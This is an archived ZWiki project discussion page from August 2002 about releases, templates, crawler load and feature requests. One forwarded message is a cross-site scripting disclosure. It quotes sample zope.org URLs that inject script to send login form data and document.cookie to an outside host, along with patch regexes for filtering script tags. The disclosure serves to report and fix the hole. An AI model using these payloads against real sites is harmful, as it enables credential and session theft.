Jay, Dylan, 2002/08/01 07:55 GMT (via mail):
TWiki has a lot of very interesting ideas. Nice interface too.

http://twiki.org/cgi-bin/view/TWiki/TWikiForms

---- Dylan Jay djay@avaya.com Avaya Communication Tel: +61-2-9352-8642 Level 3, 123 Epping Road FAX: +61-2-9352 9224 Nth Ryde NSW 2113 Mobile: 0409 606 171 AUSTRALIA


Simon, 2002/08/01 14:59 GMT (via web):
Hello, hello, I'm back from my travels. It will take a while to catch up.


Simon, 2002/08/01 15:04 GMT (via web):
7-day zodb pack, 337 -> 62Mb.


Simon, 2002/08/01 15:21 GMT (via web):
FYI, as Anonymous you are supposed to be able to view and restore from history and/or use the undo screen. This seems to be working except I can't seem to grant anonymous permission to view historical revisions. So restoring from history should work but will request authentication immediately afterward, and it's a bit of a shot in the dark.


Simon Michael, 2002/08/02 20:38 GMT (via mail):
Some quick answers -


> I have a local Zwiki which I am unable to edit. It seems to be caused by
> the fact that my SMTP server is currently down, so subscribers to the
> site can't be notified.
>
> Is it intended that edits fail if mail can't be sent?

No. That may need some new attention.


> Is there a way to determine version of Zwiki I'm running?

In recent versions, call the zwiki_version method on any page. Eg .../FrontPage/zwiki_version

If your site is on the internet you can also give a page url to the ZwikiAnalyzer. This will be able to identify older versions by checking for known method names etc (eventually).


Simon Michael, 2002/08/02 20:43 GMT (via mail):
zwiki@zwiki.org (John Tynan) writes:
> http://jtsitedesigns.freezope.org/planbwritersgroup/ourwork/

I like it.


> 1) is there a way of eliminating any spaces/special
> characters in the title of the page to be created?

When using square-bracket links ? The latest code takes care of that for the url, but doesn't change the title that people see.


> 2) Is there a better way to create a unique title for
> each wiki page. For instance, (and this might be more
> of a Metapublisher question) is there a way to create
> a zwiki page based on a unique (numerical) identifier,
> and have the title of the page be the title of the
> poem or story.

Someone pointed out the way ZwikiIssueTracker does it. I think the best for your situation would be to use the latest code with it's enhanced freeform links; then you should be able to use the actual title within square brackets for your pages, and the ids/urls will be generated as needed.


Simon Michael, 2002/08/02 21:01 GMT (via mail):
zwiki@zwiki.org writes:
> I'm a bit confused about installing a ZwikiIssueTracker. Where is the
> lastEditTime (and/or last_edit_time) defined? It's not a property in my
> wiki, which suggests that I've got old DTML or *.py thing somewhere?

Yes, lastEditTime/last_edit_time have been changed recently (see http://zwiki.org/ChangeLog ). The ZwikiIssueTracker instructions are accurate for the latest zwiki code in cvs.


Simon Michael, 2002/08/02 21:13 GMT (via mail):

> One of those should be "add documents, images and files", I think.
>
> But I'm too lazy to check out right now. ;-)

The details are on http://zwiki.org/KnownIssues (#178 editform contains wrong permission check for file upload).


2002/08/02 21:17 GMT (via web):
When I run Mozilla with cookies disabled, clicking on the link that goes to my zwiki front page drops the old session id (along with all the data) and creates a new one. I don't like this! I grepped the source for session, browser_id_manager, and _zopeid, and they all returned nothing. Any suggestions for how I can fix this? Thanks.

-- Mark Bucciarelli

Got it. Needed to put a call to browser_id_manager.encodeUrl() in the index_html. Works great now.

-- Mark


Simon Michael, 2002/08/02 21:21 GMT (via mail):
zwiki@zwiki.org writes:
> http://zwiki.org/TextFormattingRules
> has some small errors, such as the asterisks being not visible in the
> "emphasis" sentence. Similar errors are all over StructuredTextRules?.

Did some cleanup


Simon Michael, 2002/08/02 21:27 GMT (via mail):
zwiki@zwiki.org (David Hart) writes:
> The external edit link on http://zwiki.org is great!

Does it work for you ? I've been having problems.


> I downloaded the latest tgz, but standard_wiki_footer does not contain
> the necessary code. Could you send me the DTML snippet to make this work?

http://zwiki.org/standard_wiki_footer/view_source


> Also, a print this page link that uses a user-defined style-sheet and
> displays only the document content would be a great standard feature. A
> simple dtml print method is attached and works with:

Thanks for this.. I tried it (printable). Things like this are also an option and I think give a more accurate rendering -

http://zwiki.org/GeneralDiscussion200208?bare=1

http://zwiki.org/GeneralDiscussion200208?nofooter=1&zwiki_showlogo=&zwiki_showhierarchy=


Simon Michael, 2002/08/02 21:43 GMT (via mail):
mojix <mojix@mojix.org> writes:
> Hi everyone,
> I'm mojix of Japan Zope User Group(http://zope.jp/).
> I'm big fan of Zope and ZWiki, of course :-)
>
> I got important mail about the vulnerability of cross-site scripting
> (kind of security hole, we call it XSS in Japan) from office
> (below). He is an expert on web security.
>
> We checked about that and wrote howto for Japanese ZWiki user.

Thanks mojix. I am cc'ing zwiki.org for people interested in this. Those who want to learn more about this issue should also check out SecurityAlertForZeroPointSix and the zope.org doc linked there.

All: I don't take responsibility for locking down people's public zwiki installations, but I try to warn about the issues and provide sensible default settings in wiki templates etc. We probably need to review the latter.

Best regards --Simon

 > http://wiki.zope.jp/ZWikiXSS
 > (written by cheeseshop (syd@tt.rim.or.jp), member of Japan Zope User Group)
 > We made it public just now (around 23:00 2002/7/14 at GMT+9).
 >
 > To summerize that, things ZWiki users should do are three points.
 >
 > ------------
 >
 > 1. change code in ZWikiPage.py as below:
 >
 >    in def _text_cleanups(self, t):
 >
 >    comment out
 >
 >     t = re.sub(r'(?i)<([^>\w]*script[^>]*)>',r'&lt;disabled \1&gt;',t)
 >
 >    and add
 >
 >     t = re.sub(r'(?i)<([^<>\w]*script[^>]*)>',r'&lt;disabled \1&gt;',t)
 >     t = re.sub(r'(?i)javascript:',r'javascript-disabled:',t)
 >
 > 2. change permissions of JumpSearch, RecentChanges, SearchPage,
 > UserOptions (that have DTML mode in default) in ZWiki Web when we use it
 > as anonymous-OK way.
 >
 > 3. change content of SearchPage as below:
 >
 >   <dtml-var expr> -> &dtml-expr;
 >
 >   because malicious user can write code like below:
 >
 >   http://wiki.zope.jp/SearchPage?source=jump&expr="><s>test</s>
 >
 > ------------
 >
 > office's page is
 > http://www.office.ac/index.html
 >
 > and he is discussing about Wiki-clones security at
 > http://www.office.ac/tearoom/noframe.cgi (in Japanese)
 >
 > I think how soon the action will be made will have some influence on our
 > valuation of security of Zope and ZWiki.
 >
 > Simon, please release patch for this and annouce it as soon as possible.
 > If there are something we can help, we will do of course.
 >
 > Thank you
 >
 >
 > office wrote:
 > > My name is 'office', an Internet user, (not a hacker).
 >> 
 >> I have found the vulnerability of cross-site scripting on zop page,
 >> so report it.
 >> 
 >> You can recognize the vulnerability with the URL
 >> http://www.zope.org/login.html?__ac_name=">&lt;disabled script&gt;document.forms[1].action%3d'http://www.office.ac/webform.cgi'&lt;disabled /script&gt;<br
 >> If you enter the user name & passwd and push the 'login" bottun,
 >> the information you enter is send to http://www.office.ac/webform.cgi
 >> 
 >> And this URL can steal the personal information
 >> http://www.zope.org/Register/register.html?username=">&lt;disabled script&gt;document.forms[1].action%3d'http://www.office.ac/webform.cgi'&lt;disabled /script&gt;<br
 >> 
 >> Or you can recognize other vulnerble point with the URLs
 >> http://www.zope.org/SiteIndex/search?text_content=test&x=">&lt;disabled script&gt;alert()&lt;disabled /script&gt;&y=14
 >> 
 >> This is valid only for ID
 >> http://www.zope.org/SiteIndex/search?sort_on=">&lt;disabled script&gt;alert()&lt;disabled /script&gt;
 >> 
 >> And your cookie bout login information about zope could be steal by following sample URL
 >> http://www.zope.org/SiteIndex/search?sort_on=">&lt;disabled script&gt;document.location="http://www.office.ac/webform.cgi?"+document.cookie;&lt;disabled /script&gt;
 >> 
 >> If you want to know more about corss-site scripting, you can refer
 >> http://www.cert.org/advisories/CA-2000-02.html
 >> 
 >> This vulnerability in your site and your reaction for this report will
 >> be published by me adequately.
 >> 
 >> Thanks,
 >> --
 >> office
 >> office@ukky.net
 >> http://www.office.ac/
 >
 >
 >
 > -- 
 > mojix
 > http://mojix.org/
 > http://zope.jp/


Simon Michael, 2002/08/02 21:45 GMT (via mail):
zwiki@zwiki.org (DeanGoodmanson) writes:
> Japan ZWiki site : http://wiki.zope.jp/FrontPage

This is great. I wonder if the latest code allows japanese characters in square bracket links.


Simon Michael, 2002/08/02 21:52 GMT (via mail):
Heimo Laukkanen <huima@fountainpark.org> writes:
> I've been using Zwiki now for ages and it is great. Now that I have been
> adopting the use of CMF and also used the unsupported(?) CMFWiki I started
> to wonder would it be possible for you to some have combine Zwiki and
> CMFWiki into one development effort.

Thanks - unfortunately I don't know how to do that, at least within the bounds of unpaid development time. The CMF environment is too different. Perhaps this will be less of a problem as zope 3 emerges.

Regards - Simon


Simon, 2002/08/03 03:24 GMT (via web):
I have checked in some changes aimed at making upgrades easier. Zwiki now has full-featured built-in defaults for standard_wiki_header, standard_wiki_footer, backlinks, editform & subscribeform (identical to the current zwiki.org), so you should be able to delete these dtml methods from your wiki folder in many cases. Keep them in your zodb if you need to customize (and maintain) them. The methods have been removed from the zwikidotorg template. Comments, improvements welcome.


Simon, 2002/08/03 16:40 GMT (via web):
I could simplify code and behaviour by no longer allowing square brackets to link to things other than zwiki pages. Can we live with that ?


Simon, 2002/08/03 17:08 GMT (via web):
I've made that change here for evaluation. I hope to keep it that way at least for the time being. [] is doing enough stuff right now.


Simon, 2002/08/03 19:23 GMT (via web):
Started UpgradeGuide?


Simon, 2002/08/04 00:20 GMT (via web):
Implemented a MoinMoin-style timezone list on UserOptions? - please cc any fixes to me.


Simon, 2002/08/04 01:30 GMT (via web):
Disabled JumpSearch?


Jay, Dylan, 2002/08/04 23:21 GMT (via mail):

> zwiki@zwiki.org (DeanGoodmanson) writes:
> > Japan ZWiki site : http://wiki.zope.jp/FrontPage
>
> This is great. I wonder if the latest code allows japanese
> characters in
> square bracket links.

I think it also needs site customization of the wikilink regular expression. The caplilization thing isn't i18n


DeanGoodmanson, 2002/08/04 23:35 GMT (via web):
While browsing freezope's gallery today ( http://www.freezope.org/gallery/index_html?sort=technical,site ) I came across this ZWiki site with a nice clean layout: "Project 5" : http://project5.freezope.org/zwiki/zwiki/ZWiki


Jay, Dylan, 2002/08/04 23:37 GMT (via mail):

> I have checked in some changes aimed at making upgrades
> easier. Zwiki now has
> full-featured built-in defaults for standard_wiki_header,
> standard_wiki_footer, backlinks, editform & subscribeform
> (identical to the
> current zwiki.org), so you should be able to delete these
> dtml methods from
> your wiki folder in many cases. Keep them in your zodb if you need to
> customize (and maintain) them. The methods have been removed from the
> zwikidotorg template. Comments, improvements welcome.

This is a good first step. How do people get a copy of the defaults to modify them however? Perhaps just a customize page that has links that makes a copy of each default into ZODB?


Simon, 2002/08/05 02:16 GMT (via web):
Project 5 - nice site!

Getting a copy of defaults - I don't want to do anything complicated. Currently one reads the upgrade docs and finds out that defaults can be got from a certain link at zwiki.org, or from Products/ZWiki/templates/defaults. I could probably make /view_source work as it used to. If we made a pushbutton for it, where could it go that's simple, natural and maintenance-free ?


simon, 2002/08/05 18:02 GMT (via web):
Restarted the server after it died with a memory error last night. I think when I refresh the product during testing it causes the memory usage to blow up. Must remember to restart after a development session in future.


simon, 2002/08/05 18:31 GMT (via web):
I've been having some thoughts about customization, where to put admin forms etc. These things fall under the theme of improving the admin experience, which is a worthwhile endeavour and may deserve it's own page soon, but I don't want to derail discussion from G.D. yet. Cf ZwikiQuality. Let's prototype some admin controls at ZwikiAdminForm, starting with buttons for customizing methods. In production, there's a number of places we could stash commonly-used admin controls. Here's two reasonable low-maintenance options: a manager-only form at anypage/admin, or a new ZMI tab for the parent folder (added on the fly during upgrade()).

Other ease-of-admin issues - simpler catalog and tracker setup. We can automate these with a python or dtml wizard, but what's the best ui ? Add zwiki catalog, Add zwiki tracker options in the ZMI add menu; list catalog and tracker among the wiki templates on the add zwiki web form; pushbuttons on the special admin form discussed above..


simon, 2002/08/05 18:50 GMT (via web):
Jumpsearch, part deux: among this weekend's changes, this one: I got standard_error_message working so that you can enter just the first part of a page name and ignore capitalization and whitespace in the url field. If it can't find a matching page it offers to create it or search. By uncommenting some lines you can have it skip that and go straight to a create form. Let me know if you think of a better default for zwikidotorg.


DeanGoodmanson, 2002/08/06 02:51 GMT (via web):
There's an interesting discussion on the Zope list regarding "Zope in the intranet - the cool apps" . ZWiki has been mentioned, along with sibling CMFWiki :

http://lists.zope.org/pipermail/zope/2002-August/119586.html

... Your resource referal friend, - DeanGoodmanson (For those who haven't given a month to the Python-URL!, give it a zing, it will wonderfually warp your outlook. Then again, looking at half the items at every garage sale and pondering which of your friends could use /that/ doesn't help either. ;-) )


Simon Michael, 2002/08/06 03:33 GMT (via mail):
Thanks Dean. I hereby induct you as the first zwiki.org net scout.


Simon, 2002/08/07 02:12 GMT (via web):
Firmed up the release plan . This release will be 0.10.0. The remaining tasks are bugfixes and non-threatening wishlist items. I estimate about 5 ideal developer days of work to get us to the first rc.


Simon, 2002/08/07 02:17 GMT (via web):
Oops, forgot the stuff in the tracker. Add another 5 ideal days, I guess. Who can help me squash bugs ?


Simon, 2002/08/08 17:46 GMT (via web):
ZWiki has been honoured with a best product nomination at http://www.zopezen.org/Awards/vote . Today is your last chance to vote - get on over there and make your choices :)


2002/08/09 13:45 GMT (via web):
Another well polished ZWiki : http://tonka.research.techbc.ca/laura/protoTypes/laurazWiki/LaunchPage


Simon, 2002/08/09 16:07 GMT (via web):
Nice one.


Simon, 2002/08/09 16:12 GMT (via web):
Aaaauuuuwwwllgggghhhhhhh... !!! beaten out by CMF (and plone, and external editor, and..)

But we'll be back. Chrism was robbed. :) Good job Andy.


Simon, 2002/08/09 17:24 GMT (via web):
I think the "with heading" checkbox needs to appear in simple mode too, because it's annoying to have add comment add a big heading which you didn't want. Any thoughts ?


Simon Michael, 2002/08/09 17:50 GMT (new page):
ZwikiAndPageTemplates created


Simon, 2002/08/09 21:13 GMT (via web):
#201 clicking on external edit prompts for authentication ? (anonymous visitors can't use external edit) has been fixed. If you're interested in using or installing EE support, check out ExternalEditor.


Simon, 2002/08/11 19:42 GMT (via web):
Upgraded from zope 2.5.0 to 2.5.1. Backlinks and the tracker are temporarily out of action due to catalog type errors.


Simon, 2002/08/11 20:10 GMT (via web):
Fixed. I threw away the old Catalog and built a new one.


Simon, 2002/08/12 00:14 GMT (via web):
New ReleaseProcess to aim for. This one calls for 0.10.0rc1 on the 25th and 0.10.0final on september 1st. Aside from bug-squashing between now and then, you can particularly help improve 0.10's quality by downloading and hammering on the daily rc's during that end of the month phase. Mark your calendars!

Also, I'm thinking of declaring 0900-1000 PST on wednesdays as the zwiki chat hour on #zope. I'm often on as sm, but if this fixed time would be helpful let me know.


2002/08/12 13:00 GMT (via web):
The link "closed (tracker) issues" (http://zwiki.org/FilterIssues?sort_on=bobobase_modification_time&titlesearch=&textsearch=&categories%3Alist=zwiki%3A+installation&categories%3Alist=zwiki%3A+general&categories%3Alist=zwikidotorg+template&severities%3Alist=critical&severities%3Alist=serious&severities%3Alist=normal&severities%3Alist=minor&severities%3Alist=wishlist&statuses%3Alist=closed#issues) doesn't work on the FrontPage -- PieterB


2002/08/12 13:51 GMT (via web):
I started working on a new mail-in frontend (instead of using curl). I would like to use it for:

The problem I have is: should I choose Python 2.1 or Python 2.2 as a requirement. Python 2.1 is much more used for Zope 2.4 and Zope 2.5, but Python 2.2 has the e-mail package.

I think of starting in Python 2.2 and hope for Zope3 and/or Zope 2.7 to be ready by the time I complete this project ;)

Any thoughts?

-- PieterB


Simon Michael, 2002/08/12 16:31 GMT (via mail):

> The link "closed (tracker) issues"

Thanks.. it depended on the bobobase_modification_time index which I removed. Fixed.


> I started working on a new mail-in frontend (instead of using

Great. For the MIME parts, how about ExtFiles? (and extfile-based Photos for images) ? As for python, it's a bit of a drag but shouldn't be hard to stay 2.1 compliant.. wouldn't you prefer all those zope 2.3/2.4/2.5 users to be able to use your frontend.


Simon, 2002/08/13 19:23 GMT (via web):
Sorry for slight outages today.. I am trying to pinpoint the problem of broken zope icons with imeme. Eg http://zwiki.org:8080/p/sp works, http://zwiki.org/p/sp mostly doesn't. Post if you have any insight.


Simon, 2002/08/13 19:28 GMT (via web):
Bah wtf is stx doing with my underscores above. Another for the tracker.


Simon, 2002/08/13 19:51 GMT (via web):
And quoting myself now. It's been so quiet, I may be talking back to the voices soon.


2002/08/13 22:00 GMT (via web):
How about renaming the ZwikiIssueTracker to something non-product-related, and more function-related like IssueTracker and including it default sites already preconfigured?

I like your front page that has a sort of blog already set up. Can you make that the new default FrontPage in Zwiki? It would be great to have the last issues on the right side, and the last few GeneralDiscussion entries at the bottom as a default to make zwiki really scream out of the box. :)

waiting patiently for 0.10


Jay, Dylan, 2002/08/13 23:48 GMT (via mail):

> And quoting myself now. It's been so quiet, I may be talking
> back to the
> voices soon.

Ok, since you ask for it, here is another of my feature suggestions. This is something that I tried to hack togeather in my very first ZWiki but gave up. I want a printable report. This is essentially a set of wiki pages printed nicely starting from one page and by crawling or something, all the related pages after. How to get the "right" set of pages is open for discussion, perhaps it could be restricted to just children and siblings, perhaps a stright breadth-first crawl.

the primary motivation is meeting type readouts. I dump ideas in wikis and then have meetings. I want to take the 10 most relevent pages centered around 1 or 2 pages with me to a meeting without having to think about it.


dhart, 2002/08/14 07:30 GMT (via web):
Great product, Simon! I use Zwiki for collaboration among my business partners. Can I buy you a beer? :)

They (the business partners) have asked for some new features:

  1. On edit and comment areas, A "send update to subscribers" check box, defaulted to "yes".
  2. On edit and comment areas, A "send full document to subscribers" button. Possibly with an HTML/STX choice radio button.

I'd be happy to hack on these with some pointers for help, or maybe they'll just magically appear in 0.10.0. :)


Pieter Biemond prive, 2002/08/14 14:23 GMT (via mail):

> > I started working on a new mail-in frontend (instead of using
> Great. For the MIME parts, how about ExtFiles? (and extfile-based Photos
> for images)

I probably use ExtFile? or ExternalFile? for storing the attachements on the filesystem. I might also use some of the code of Mailman's Srubber.py to store attachements to the filesystem directly.


> As for python, it's a bit of a drag but shouldn't be hard to
> stay 2.1 compliant.. wouldn't you prefer all those zope 2.3/2.4/2.5 users
> to be able to use your frontend.

I thought the email package required Python 2.2, but it doesn't! So I'm now developping the frontend with Python 2.1 and requiring the email package.

To be continued...

-- PieterB


Simon, 2002/08/14 16:09 GMT (via web):
Hmm, can't get on the openprojects server this morning.


Simon Michael, 2002/08/15 15:31 GMT (via mail):

> How about renaming the ZwikiIssueTracker to something non-product-related, and
> more function-related like IssueTracker and including it default sites
> already preconfigured?
>
> I like your front page that has a sort of blog already set up. Can you
> make that the new default FrontPage in Zwiki? It would be great to have
> the last issues on the right side, and the last few GeneralDiscussion
> entries at the bottom as a default to make zwiki really scream *out of the
> box*. :)

Yes, but how exactly should we do these things without adding complication for people who don't want them.

I'm thinking the simplest ui would be Add Zwiki Catalog and Add Zwiki Tracker actions in the ZMI add menu.


Simon Michael, 2002/08/15 17:00 GMT (via mail):

> Ok, since you ask for it, here is another of my feature suggestions. This
> is something that I tried to hack togeather in my very first ZWiki but
> gave up. I want a printable report. This is essentially a set of wiki
> pages printed nicely starting from one page and by crawling or something,
> all the related pages after. How to get the "right" set of pages is open
> for discussion, perhaps it could be restricted to just children and
> siblings, perhaps a stright breadth-first crawl.

I'll see your idea, and raise you one. Where's the UI for this ? We'll probably want options eg for different output formats. The page footer, the hierarchy map, or a single footer link leading to a separate printform suggest themselves. Say it's the latter, and printform is a dtml method, page template or python script.

You can prototype this on a wiki page of course. I think a useful default will be to print the current page and it's children. I think there's a method in Parents.py that will return that list of pages in the right order. That would be a start. Next, it could render each of these using one of the "printable" tricks discussed here recently.

...ok, the Parent.py's offspring method returns the children but html-formatted. I have checked in two utility methods which will help: offspringAsList and offspringIdsAsList.

Now, how about something like the demo code on TestPage:

  <dtml-in offspringIdsAsList prefix=x>
  <h2><hr>&dtml-x_sequence_item;</h2>
  <dtml-try>
  <dtml-var "folder()[x_sequence_item](bare=1)">
  <dtml-except>
  <p>
  Could not render
  </p>
  </dtml-try>
  </dtml-in>

Hope this gives you some ideas.. -Simon


Simon Michael, 2002/08/15 17:01 GMT (via mail):
zwiki@zwiki.org (dhart) writes:
> Great product, Simon! I use Zwiki for collaboration among my business
> partners. Can I buy you a beer? :)

Thanks, certainly :)


Simon Michael, 2002/08/15 18:27 GMT (via mail):
zwiki@zwiki.org (Simon Michael) writes:
> Now, how about something like the demo code on TestPage::

I moved this into a print dtml method. Check it out: http://zwiki.org/ZwikiDocs/print .

With some more options this could be pretty useful. Potentially quite hard on the server too.


Jay, Dylan, 2002/08/16 00:31 GMT (via mail):
What's the status of WikiForNow with regard to the latest ZWiki? Is there any reason why these can't be merged into one product? I really like WikiForNow advanced form etc, but I don't want to ditch some of the latest ZWiki stuff such as fuzy matching, what do I do? Can't we make some kind of skinning mechanism so I can have my ZWiki and WikiForNow too?


Jay, Dylan, 2002/08/16 00:34 GMT (via mail):

> suggest themselves. Say it's the latter, and printform is a
> dtml method,
> page template or python script.

ZPT like edit and normal wiki view should be too :)


> Now, how about something like the demo code on TestPage::

Hey, nice work. Looks pretty good. One nice extra feature would be replace wikilinks with links to anchors on the same page.


DeanGoodmanson, 2002/08/17 02:00 GMT (via web):
I think the SandBox has been slightly vandalised, if not it could use off-loading to a different page.


Simon, 2002/08/17 02:16 GMT (via web):
Go for it. I think we are due for a big cleanup, no other wiki seems to have as many test pages and empty personal pages as we do. let's get the broom out in preparation for 0.10.


Simon Michael, 2002/08/17 03:24 GMT (via mail):
zwiki@zwiki.org (Jay, Dylan) writes:
> What's the status of WikiForNow with regard to the latest ZWiki? Is
> there any reason why these can't be merged into one product? I really
> like WikiForNow advanced form etc, but I don't want to ditch some of the
> latest ZWiki stuff such as fuzy matching, what do I do? Can't we make
> some kind of skinning mechanism so I can have my ZWiki and WikiForNow
> too?


> ZPT like edit and normal wiki view should be too :)

Well, I have good news for you. :)

Incorporating the remaining WikiForNow features was a focus of this release before I got sidetracked. The big items were pre-rendering of structured text, which we have with bells on, and regulations, which is there but needs beta-testers. See RegulatingYourPages.

You can see from my todo list that I hoped to add any remaining desirable WFN features - I think edit comments are worthwhile - but that might have to wait for next month. That will mean that WikiForNow has been assimilated and main zwiki should be suitable for use on zope.org.

ZPT support has just been checked in, see ChangeLog? for the details. Also I have re-implemented the default standard_wiki_header & standard_wiki_footer methods as a wikipage template [1] and that is now installed here. Let me know if you notice any differences or problems. Still to do: convert the forms (& dialogs, mailout etc) to page templates, and use page templates for all the builtin defaults (?). I'll leave that for later or for someone else.

[1] That was.. interesting. Like a three-way chess game.


> Hey, nice work. Looks pretty good. One nice extra feature would be
> replace wikilinks with links to anchors on the same page.

Thanks. You mean for online browsing ? I agree it's pretty handy for that too. I quickly saw a bunch of stuff I never would have seen otherwise. But the performance is a problem - I tried ZWiki/print and it never finished.. and meanwhile zope's multi-threading appeared more theoretical than actual. It would be great if we could find a way to do this at low cost, even whole-wiki printouts.


Simon, 2002/08/17 03:48 GMT (via web):
After browsing the twiki over at http://emacswiki.org , once again I found myself seriously considering changing the out-of-box default from simple to minimal. Here's my thinking:

Thoughts ?


Dylan Jay, 2002/08/17 09:14 GMT (via mail):

> Incorporating the remaining WikiForNow features was a focus of this
> release before I got sidetracked. The big items were pre-rendering of
> structured text, which we have with bells on, and regulations, which is
> there but needs beta-testers. See RegulatingYourPages.
>
> You can see from my todo list that I hoped to add any remaining desirable
> WFN features - I think edit comments are worthwhile - but that might have
> to wait for next month. That will mean that WikiForNow has been
> assimilated and main zwiki should be suitable for use on zope.org.

Wow, your a dynamo! Does this include the advanceoptions page with security permissions, rename etc on it? That seemed like a nice UI enhancement to me.


> ZPT support has just been checked in, see ChangeLog? for the details. Also
> I have re-implemented the default standard_wiki_header &
> standard_wiki_footer methods as a wikipage template
> [1] and that is now installed here. Let me know if you notice any
> differences or problems. Still to do: convert the forms (& dialogs,
> mailout etc) to page templates, and use page templates for all the builtin
> defaults (?). I'll leave that for later or for someone else.

I'd love to download and have a play soon when I get a chance. I had an idea for skinning. How about putting the templates in a subdir like you used awhile back. But instead of copying them to the main wiki folder, ZWiki looks in that folder for them. Then a folder property can be set to redirect which folder to look in for the templates. Then each skin is a just a subfolder. This is essentially what CMF does. The other thing it does is make the default template folder readonly. That way the content can actually come from the filesystem product and is really easy to upgrade with each ZWiki release. There is probably a CMF related product to do this with CMF from memory.


> .. [1] That was.. interesting. Like a three-way chess game.
>
> > Hey, nice work. Looks pretty good. One nice extra feature would
> be
> > replace wikilinks with links to anchors on the same page.
>
> Thanks. You mean for online browsing ? I agree it's pretty handy for that
> too. I quickly saw a bunch of stuff I never would have seen otherwise.
> But the performance is a problem - I tried ZWiki/print and it never
> finished.. and meanwhile zope's multi-threading appeared more theoretical

yeah, 100% cpu with python doesn't seem to leave much room for leftovers.


> than actual. It would be great if we could find a way to do this at low
> cost, even whole-wiki printouts.

I guess that would depend on the where the cost is being incurred. How hard is extracting out the links in a page? could that be cached in a ZCatalog? How much cost is rendering each page? ZPT I have a feeling may improve rendering but that is only a theory I have, maybe others have more experience with that.


Dylan Jay, 2002/08/17 10:01 GMT (via mail):

> After browsing the twiki over at http://emacswiki.org, once again I found

Is that a twiki? The default twiki is much more slick than that.


> myself seriously considering changing the out-of-box default from simple to
> minimal.
> Here's my thinking:
>
> - I hear people avoiding zwiki because they perceive it as being too
> complex/bloated, on top of the already scary zope requirement.

I think the complexity perception might come from things like having to go outside of the wiki set set permissions and stuff like that, but I'm not sure.


> - Those who want more features will happily try learn about full/simple,
> useroptions etc, Those who want something they can understand immediately
> won't,
> they'll look for another wiki.
>
> Thoughts ?

Slickness leads to a impression of high quality (rightly or wrongly), so it's a bit swings and roundabouts.

I suggest probably a set of default skins that can easily be swapped between, e.g. Slick and simple, simple and simple, power user etc.


DeanGoodmanson, 2002/08/17 15:52 GMT (via web):
Uh-Oh...DON'T PACK THAT DATABASE JUST YET....I may have just thrown the baby out with the bathwater...

I was so pleased when I deleted most of the sub-pages from the SandBox (and moved relevant experiements to the SandBox) that I decided to clean thetest pagest out of the the TestPage also.

Near the end I ACCIDENTALLY DELETED THE TEST PAGE...Thus the Sand Box seems to be taken along with it! (Although annoying, perhaps a confirmation on DeletePage? might be helpful..)


DeanGoodmanson, 2002/08/17 16:01 GMT (via web):
OK, Sorry for the Alarm...Found the SandBox . It was reparented to the root. TestPage can be restored or recreated. There was a bit of introspection code on it, and a link to the SandBox .


Simon, 2002/08/17 16:15 GMT (via web):
Don't worry. What happens when you delete a page's sole parent is that it and children disappear from the hierarchy. Next time you view the page, the missing parent is noticed and it gets reparented to the top level.

Thanks for the cleanups. Are you using the "manage this page" panel ?


Simon, 2002/08/17 16:18 GMT (via web):
PS the server seems slow right now, I'm not sure why. It's not due to use of the print script. A scooter bot is currently crawling the wiki (and, the entire ZMI and history of every page, I notice) but slowly, so that shouldn't be causing it. The server is not busy. I just restarted it to bring down the memory usage a bit.


Simon, 2002/08/17 16:28 GMT (via web):
See, I want to make zwikis google-indexable again so I removed the robots.txt and noindex meta tags from zwiki.org (and the zwiki defaults). I've been waiting for google to show up, but just found a second robots.txt in the zwiki folder which was keeping it away. Clearly this scooter (whose source I can't easily see because of imeme proxying) pays no attention to niceties like robots.txt (11000 hits over the last four days).


Simon, 2002/08/17 16:38 GMT (via web):
Neither did these, over the same period: turnitin (2000), openfind (200). Some that did: webcrawler, webspider, linkwalker.. there's about 200 more miscellaneous matches for "bot" in the log.


Simon, 2002/08/17 17:12 GMT (via web):
And they're crawling both zwiki.org and joyful.com/zwiki.. aargh!


DeanGoodmanson, 2002/08/17 17:26 GMT (via web):

> Thanks for the cleanups. Are you using the "manage
> this page" panel ?

Yes. I started with DeleteMe's on the first line, then quickly switched to the "manage this page" panel from a full setting. It was handier for re-parenting mostly VisitorLog sites.

I thought the slowness was due to my many changes...looking forward to hearing database pack results. A tidbit for the usability lab: I encountered a paranoia level of a 8 back-o-the-neck-hairs when I changed the manage this page (newid) text box, first thinking I would reparent the page, but then just decided to Delete the page....stopped and made sure the text entry matched the page I wanted to delete. Slight confusion in the term "manage this page:" .. this = current page, or pagename in text box?


Simon Michael, 2002/08/17 18:22 GMT (via mail):
zwiki@zwiki.org (DeanGoodmanson) writes:
> I thought the slowness was due to my many changes...looking forward to
> hearing database pack results.

No, not at all. I think what's happening is that due to the current robot activity zope's memory usage keeps creeping up past 100Mb, causing slowdowns. I've just changed the diff browser to use form buttons to try and keep them out of the zmi. Seems to be working.

14-day pack: 373 -> 309Mb.

7-day pack: 309 -> 166Mb.

Clearly we can't maintain real page history in this kind of environment. I would temporarily disable the history link except having 7 days or 1 day of diffs is still useful.


> I wanted to delete. Slight confusion in the term "manage this page:"
> .. this = current page, or pagename in text box?

yes.. currently


Simon, 2002/08/17 18:47 GMT (via web):
Removed the (currently ineffective) blocker dtml method that was being called on every access. Added a SiteRoot? so that all joyful.com/zwiki urls are transformed to zwiki.org. This kind of works, but not as effectively as I remembered.


Simon, 2002/08/17 19:35 GMT (via web):
I think I am wasting my saturday morning. Anyway, latest: here comes scooter again (it's alta vista) and it's still looking for historical revisions, because it has already cached all those urls that it found previously.

Since I just did a pack, a lot of them don't exist and now bring up the standard_error_message, whose links bring up a create form and initiate a full-wiki search. Those I will convert to form buttons also.

The revisions that do still exist come up fine, which allows scooter to get into (part of) the zmi again, find all the other revisions, cruise through the zope help etc. I have mostly granted View management screens permission to Anonymous, so that people can examine the setup and to permit external editing (and maybe other reasons I have forgotten). I think this will have to come to an end now. Probably all ZMI pages should have the NOINDEX, NOFOLLOW meta tags. In any case the lesson seems to be: if you want to leave your zmi open to people, don't let search engines get wind of it.


Mark Chambers, 2002/08/18 23:46 GMT (via mail):
Hi Folks,

Here's my 2 cents worth.

We're a software house and we use ZWiki for internal documentation. I looked at a few wikis, realised that there was a lot of choice so narrowed the search down to python based ones. We then installed MoinMoin and were happy with everthing except that it appeared to only keep one level of changes. ZWiki has a full edit history so we installed that and have been using it ever since.

I've read some books and now have a better understanding of what Zope is (and, yes it's "scary") but this didn't enter into the equation when we picked ZWiki. I saw it more like needing a JVM before I could run a Java program - it's just a prerequisite with a separate install, no big deal.

